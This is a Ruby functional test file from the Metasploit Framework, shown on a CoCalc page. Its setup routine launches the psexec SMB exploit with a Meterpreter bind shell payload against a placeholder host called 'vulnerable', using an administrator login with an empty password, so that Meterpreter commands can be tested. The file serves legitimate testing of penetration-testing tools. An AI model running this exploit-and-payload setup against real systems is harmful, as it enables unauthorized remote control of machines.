CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/test/functional/meterpreter/meterpreter_win32_spec.rb
Views: 11623
1
$:.unshift(File.join(File.dirname(__FILE__)))
2
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', 'lib'))
3
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
4
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'test', 'lib'))
5
6
require 'fileutils'
7
require 'meterpreter_spec_helper'
8
require 'msf_matchers'
9
require 'meterpreter_specs'
10
require 'windows_meterpreter_specs'
11
12
module MsfTest
13
describe "Win32Meterpreter" do
14
# Include Custom Matchers
15
include MsfTest::MsfMatchers
16
17
# This include brings in all the spec helper methods
18
include MsfTest::MeterpreterSpecHelper
19
20
# This include brings in all the specs that are generic across the
21
# meterpreter platforms
22
include MsfTest::MeterpreterSpecs
23
24
# This include brings in all the specs that are specific to the
25
# windows meterpreter platforms
26
include MsfTest::WindowsMeterpreterSpecs
27
28
before :all do
29
@verbose = true
30
31
@meterpreter_type = "win32"
32
33
## Set up an outupt directory
34
@output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}")
35
36
if File.directory? @output_directory
37
FileUtils.rm_rf(@output_directory)
38
end
39
40
Dir.mkdir(@output_directory)
41
@default_file = "#{@output_directory}/default"
42
43
create_session_windows_x32
44
end
45
46
before :each do
47
end
48
49
after :each do
50
@session.init_ui(@input, @output)
51
end
52
53
after :all do
54
## Clean up test output
55
FileUtils.rm_rf(@output_directory)
56
57
## Screenshot command leaves .jpegs :(
58
## TODO - fix the meterpreter command to write to
59
## TODO - an arbitrary file.
60
Dir.new(File.dirname(__FILE__)).each do |file|
61
if file =~ /.jpeg/
62
File.delete(file)
63
end
64
end
65
end
66
67
def create_session_windows_x32
68
## Setup for win32
69
@framework = Msf::Simple::Framework.create
70
@exploit_name = 'windows/smb/psexec'
71
@payload_name = 'windows/meterpreter/bind_tcp'
72
@input = Rex::Ui::Text::Input::Stdio.new
73
@output = Rex::Ui::Text::Output::File.new(@default_file)
74
75
# Initialize the exploit instance
76
exploit = @framework.exploits.create(@exploit_name)
77
78
## Fire it off against a known-vulnerable host
79
@session = exploit.exploit_simple(
80
'Options' => { 'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => "" },
81
'Payload' => @payload_name,
82
'LocalInput' => @input,
83
'LocalOutput' => @output
84
)
85
86
## If a session came back, try to interact with it.
87
if @session
88
puts "got a session"
89
@session.load_stdapi
90
else
91
puts "unable to get session"
92
# flunk "Couldn't get a session!"
93
end
94
end
95
end
96
end
97
98